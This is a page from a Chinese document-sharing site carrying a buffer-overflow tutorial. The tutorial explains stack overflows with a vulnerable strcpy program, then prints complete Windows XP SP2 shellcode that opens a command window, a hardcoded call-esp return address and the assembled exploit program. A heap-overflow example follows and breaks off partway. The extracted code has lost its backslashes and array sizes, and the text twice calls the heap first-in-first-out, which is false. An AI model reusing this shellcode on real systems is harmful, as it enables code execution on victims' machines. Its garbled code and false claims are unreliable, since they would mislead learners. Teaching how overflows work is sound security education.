




下載本文檔
版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、緩沖區(qū)溢出漏洞IBM軟件研究院緩沖區(qū)溢出漏洞,是一種在軟件中最容易發(fā)生的漏洞。它發(fā)生的原理是,由于軟件在處理用戶數(shù)據(jù)時(shí)使用了不限邊界的拷貝,導(dǎo)致程序內(nèi)部一些關(guān)鍵的數(shù)據(jù)被覆蓋,引發(fā)了嚴(yán)重的安全問(wèn)題。 緩沖區(qū)指的是操作系統(tǒng)中用來(lái)保存臨時(shí)數(shù)據(jù)的空間,一般分為棧和堆兩種緩沖區(qū)類型。緩沖區(qū)溢出漏洞是一種非常普通、非常危險(xiǎn)的漏洞,在各種操作系統(tǒng)、應(yīng)用軟件,甚至是Web應(yīng)用程序中廣泛存在。 利用緩沖區(qū)溢出攻擊,可以導(dǎo)致程序運(yùn)行失敗、系統(tǒng)當(dāng)機(jī)、重新啟動(dòng)等后果。更為嚴(yán)重的是,可以利用它執(zhí)行非授權(quán)指令,甚至可以取得系統(tǒng)特權(quán),進(jìn)而進(jìn)行各種非法操
2、作。 在當(dāng)前網(wǎng)絡(luò)與操作系統(tǒng)安全中,50%以上的攻擊都是來(lái)自于緩沖區(qū)溢出漏洞。而緩沖區(qū)溢出中,最為危險(xiǎn)的是棧溢出,因?yàn)槿肭终呖梢岳脳R绯觯诤瘮?shù)返回時(shí)改變返回程序的地址,讓其跳轉(zhuǎn)到任意地址,帶來(lái)的一種是程序崩潰導(dǎo)致拒絕服務(wù),另外一種就是跳轉(zhuǎn)并且執(zhí)行一段惡意代碼,然后為所欲為。 這里要澄清一個(gè)概念,很多人把緩沖區(qū)溢出稱之為堆棧溢出漏洞,其實(shí)是錯(cuò)誤的,堆溢出和棧溢出是兩個(gè)不同的概念,都屬于緩沖區(qū)溢出。 平時(shí)聽(tīng)說(shuō)的緩沖區(qū)溢出大部分都是屬于棧溢出。由于程序在實(shí)現(xiàn)的過(guò)程中,往往會(huì)自定義一些內(nèi)存空間
3、來(lái)負(fù)責(zé)接受或者存儲(chǔ)數(shù)據(jù),這些被直接定義的空間大小是有限的,因此當(dāng)程序?qū)⑦^(guò)多的數(shù)據(jù)不經(jīng)檢查而直接放入這些空間中時(shí),就會(huì)發(fā)生棧溢出。 棧溢出最為直接的危害是,這些被過(guò)量放進(jìn)內(nèi)存空間的數(shù)據(jù)會(huì)將函數(shù)的返回地址覆蓋。“返回地址”的概念來(lái)自于CPU處理指令的結(jié)構(gòu)設(shè)計(jì)。如果程序現(xiàn)在準(zhǔn)備調(diào)用一個(gè)函數(shù),CPU首先會(huì)將執(zhí)行完這個(gè)函數(shù)后將要執(zhí)行的指令地址存儲(chǔ)到棧空間中,然后CPU開(kāi)始執(zhí)行函數(shù),執(zhí)行完畢,CPUCPU取出前面保存的指令地址,然后接著執(zhí)行。這個(gè)“返回地址”是保存在棧空間中的,而程序一般定義的空間也是在棧中進(jìn)行分配的,這就給了我們覆蓋這個(gè)“返回地址”的機(jī)會(huì)。
4、 棧是一個(gè)先進(jìn)后出的空間,而堆則恰恰相反,是一個(gè)先進(jìn)先出的空間。緩沖區(qū)溢出就是把這些空間裝滿后還繼續(xù)往里面裝。 但是對(duì)于一個(gè)軟件來(lái)講,危害可能不僅僅如此,用一個(gè)表來(lái)表示這個(gè)過(guò)程在棧溢出發(fā)生的時(shí)候,軟件運(yùn)行時(shí)內(nèi)存中的情況。正常:Lower Addressesbuf2buf1var3saved %EBPreturn addressfunction()'s argumentssaved %EBPreturn addresssmain()'s argumentsHigher Addresses溢出:Lower Addresse
5、sbuf2buf1-414141414141414141414141(當(dāng)棧溢出發(fā)生時(shí),esp寄存器指向這里)41414141(return address)41414141saved %EBPreturn addressmain()'s argumentsHigher Addresses 從正常時(shí)候的內(nèi)存分布可以看出,內(nèi)存的高端部分是函數(shù)從被調(diào)用函數(shù)返回時(shí)需要的地址,而內(nèi)存低端部分則是被調(diào)用函數(shù)的兩個(gè)要使用的緩沖空間:buf1和buf2。在這里解釋一下,假設(shè)被調(diào)用的函數(shù)是strcpy,strcpy函數(shù)是一個(gè)字符串復(fù)制函數(shù),有兩個(gè)參數(shù),其中buf2代表
6、來(lái)源字符串,buf1代表目的空間,strcpy函數(shù)的目的就是要把buf2中的字符串全部復(fù)制進(jìn)入buf1代表的空間?,F(xiàn)在如果將buf2,即來(lái)源字符串弄得很長(zhǎng),假設(shè)是很多“A”,這個(gè)時(shí)候再去執(zhí)行strcpy函數(shù),內(nèi)存中的分配空間就會(huì)出現(xiàn)溢出中所表現(xiàn)的樣子。可以看到buf1中充滿字符41,“41”是A的ASCII碼,不但如此,緊接著buf1的內(nèi)存空間也全部被覆蓋成了41,最關(guān)鍵的一個(gè)地方“return address”這塊內(nèi)存也全部成了41。那么程序在執(zhí)行完strcpy函數(shù)要返回的時(shí)候,程序獲得的返回地址竟是41414141,程序不管這個(gè)地址對(duì)不對(duì),就直接返回了,結(jié)果程序會(huì)因?yàn)檫@個(gè)地址非法而出錯(cuò)。&
7、#160; 現(xiàn)在看一下,因?yàn)槌绦虻姆祷氐刂繁桓采w,所以程序出錯(cuò),而這個(gè)覆蓋值是我們故意輸入的,也就是說(shuō)我們完全能夠控制把什么數(shù)值覆蓋到程序的返回地址上,那么如果將一段惡意代碼或者要執(zhí)行某個(gè)目的的代碼,預(yù)先放入內(nèi)存中某個(gè)地址,再將這個(gè)地址覆蓋到程序的返回地址上,這樣程序一旦溢出后返回,就會(huì)自動(dòng)跳到代碼上去,并且會(huì)執(zhí)行代碼,而且這一切都是由程序“正?!眻?zhí)行的。 惡意攻擊者為了能夠利用棧溢出來(lái)控制軟件的執(zhí)行流程,一般會(huì)將溢出地址覆蓋為jmp esp指令或者call esp指令所在的地址。這是因?yàn)閷?duì)于程序來(lái)說(shuō),當(dāng)發(fā)生棧溢出時(shí),往往是程序中的某
8、一個(gè)函數(shù)的返回地址被過(guò)長(zhǎng)的數(shù)據(jù)覆蓋,此時(shí),esp寄存器指向的地址就是過(guò)長(zhǎng)數(shù)據(jù)的后半部分。如溢出時(shí)內(nèi)存分布可以看出。 如果此時(shí),esp指向的這段過(guò)長(zhǎng)數(shù)據(jù)是一段惡意代碼,那么當(dāng)我們把函數(shù)的返回地址覆蓋成為一個(gè)jmp esp指令或者call esp指令所在的地址時(shí),溢出發(fā)生后,函數(shù)一返回就會(huì)跳轉(zhuǎn)到j(luò)mp esp指令或者call esp指令所在地址上,CPU執(zhí)行jmp esp指令或者call esp指令后,馬上就會(huì)跳到esp寄存器指向的過(guò)長(zhǎng)數(shù)據(jù)上,從而執(zhí)行惡意代碼,即常說(shuō)的ShellCode。 舉個(gè)例子,如下代碼:#include
9、<stdio.h>#include<string.h>char name = "taizihuc"void cc(char * a)char output8;strcpy(output,a);printf("%sn",output);intmain()cc(name);return 0; 利用Visual C+6.0來(lái)編譯執(zhí)行。代碼中使用strcpy函數(shù)將name字符串復(fù)制到output字符串所在內(nèi)存地址中,需要注意output指向的內(nèi)存大小只有8個(gè)字節(jié)大小。在沒(méi)有發(fā)生棧溢出時(shí),代碼最終執(zhí)行結(jié)果
10、為taizihuc這個(gè)字符串。 現(xiàn)在讓name成為一段大于8個(gè)字節(jié)的字符串,將taizihuc修改為abcdefghijklmnopqrstuvwxyz,再次編譯執(zhí)行,可以看到此刻代碼最終運(yùn)行結(jié)果發(fā)生了錯(cuò)誤,系統(tǒng)給出了一個(gè)錯(cuò)誤警告提示對(duì)話框。 可以看到,程序在執(zhí)行內(nèi)存地址6c6b6a69的時(shí)候發(fā)生了錯(cuò)誤。其實(shí)這里的6c6b6a69就是“l(fā)kji”的ASCII碼,之所以不是“ijkl”,是因?yàn)閃indows操作系統(tǒng)的性質(zhì)決定了內(nèi)存中的數(shù)據(jù)是倒著存放的。也就是說(shuō)此刻,lkji這4個(gè)字母覆蓋了程序的返回地址,棧溢出現(xiàn)象發(fā)生了。&
11、#160; 具體分析一下,在i之前的abcdefgh剛好8個(gè)字節(jié),也就是output指向的8個(gè)字節(jié)的內(nèi)存地址已經(jīng)被填滿,多余的ijklmnopqrstuvwxyz就覆蓋到了??臻g中的其他數(shù)據(jù),包括函數(shù)的返回地址。 用OLLYICE來(lái)分析一下,可以看到如下關(guān)鍵的寄存器指向:ESP 0012FF80 ASCII "mnopqrstuvwxyz"EIP 6C6B6A69 從這兩句可以看到esp寄存器指向了ijkl4個(gè)字母后面的過(guò)長(zhǎng)字符串。 將mnop
12、qrstuvwxyz替換成為一段ShellCode代碼,這里用在WindowsXP SP2系統(tǒng)下打開(kāi)一個(gè)CMD命令行窗口的ShellCode程序,即:"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x77x1Dx80x7C" /WindowsXP SP2 lo
13、adlibrary地址0x77e69f64"x52x8Dx45xF4x50""xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xC7x93xBFx77" /WindowsXP SP2 system地址0x7801afc3"xFFxD0"
14、; 同時(shí),需要將ijkl4個(gè)字母替換成為一個(gè)jmp esp指令或者call esp指令所在的地址,這個(gè)地址可以通過(guò)findjmp.exe獲得。具體方法不詳細(xì)說(shuō)了。這里獲得的call esp指令地址為0x7C82385D。 OK,現(xiàn)在來(lái)修改最初的那段代碼。#include<stdio.h>#include<string.h>char name = "x41x41x41x41"
15、 "x41x41x41x41" /這里就是8個(gè)字母A "x5Dx38x82x7C" /這里將call esp指令地址需要倒著寫(xiě)"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54x
16、C6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x77x1Dx80x7C" /WindowsXP SP2 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50""xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55x
17、FFx8Dx45xF4""x50xB8""xC7x93xBFx77" /WindowsXP SP2 system地址0x7801afc3"xFFxD0" /以上就是一個(gè)開(kāi)啟CMD窗口的ShellCodevoid cc(char * a)char output8;strcpy(output,a);printf("%sn",output);intmain()cc(name);return 0; 再次編譯,可以看到程序打印出一段帶有字母A的字符串后切換窗口,打開(kāi)了一個(gè)CMD命
18、令行窗口。這個(gè)是一個(gè)典型的棧緩沖區(qū)溢出漏洞。 堆溢出是一種比較復(fù)雜的溢出,系統(tǒng)在管理堆這個(gè)緩沖區(qū)時(shí),采用的是一個(gè)雙向鏈表結(jié)構(gòu)。堆不同于棧,堆中的數(shù)據(jù)時(shí)先進(jìn)先出,當(dāng)堆溢出發(fā)生時(shí),主要是管理堆結(jié)構(gòu)的一些關(guān)鍵指針數(shù)據(jù)被覆蓋了。例:int main (int argc, char *argv)char *buf1, *buf2;char s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbcccccccc"buf1 = (char*)malloc (32); /* 在堆上分配buf1 */memcpy (buf1, s, 32 16); /* 這里多復(fù)制16個(gè)字節(jié) */buf2 = (char*)malloc (16); /* 在堆上分配buf2 */free (buf1);free (buf2);return 0; 在給buf1完成malloc之后,返回的地址(buf1)是個(gè)指針,指向的內(nèi)
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 戰(zhàn)略執(zhí)行中的障礙與解決方案計(jì)劃
- 項(xiàng)目進(jìn)展的周期性匯報(bào)模式探索
- 高中語(yǔ)文情感美文當(dāng)年情
- 通史版2025版高考?xì)v史大一輪復(fù)習(xí)選修部分3中外歷史人物評(píng)說(shuō)通關(guān)模擬演練含解析新人教版選修4
- 小學(xué)語(yǔ)文作文堅(jiān)持總會(huì)有回報(bào)-讀紙飛機(jī)有感
- 勞動(dòng)最光榮主題班會(huì)演講稿范文(4篇)
- 青少年?duì)I養(yǎng)與心理發(fā)展的關(guān)系
- 跨境物流在電商平臺(tái)中的運(yùn)營(yíng)優(yōu)化
- 遠(yuǎn)程辦公時(shí)代下的寵物旅游行業(yè)新機(jī)遇
- 跨領(lǐng)域合作在藝術(shù)展覽中的應(yīng)用
- 靈活用工管理
- 全媒體運(yùn)營(yíng)師試題庫(kù)(含答案)
- 2024至2030年中國(guó)礦用隔爆型監(jiān)控?cái)z像儀行業(yè)投資前景及策略咨詢研究報(bào)告
- 大學(xué)生職業(yè)素養(yǎng)訓(xùn)練(第六版)課件 第二單元學(xué)習(xí)職業(yè)禮儀
- 北京市燕山區(qū)中考一模英語(yǔ)試題及答案
- 腦卒中-腦卒中的康復(fù)治療
- 2024至2030年中國(guó)超聲波加工機(jī)床行業(yè)深度調(diào)研及發(fā)展預(yù)測(cè)報(bào)告
- 十七個(gè)崗位安全操作規(guī)程手冊(cè)
- 疫情統(tǒng)計(jì)學(xué)智慧樹(shù)知到答案2024年浙江大學(xué)
- 三方資金轉(zhuǎn)換協(xié)議書(shū)范本
- 2024年對(duì)口升學(xué)真題模擬語(yǔ)文試卷及答案十四
評(píng)論
0/150
提交評(píng)論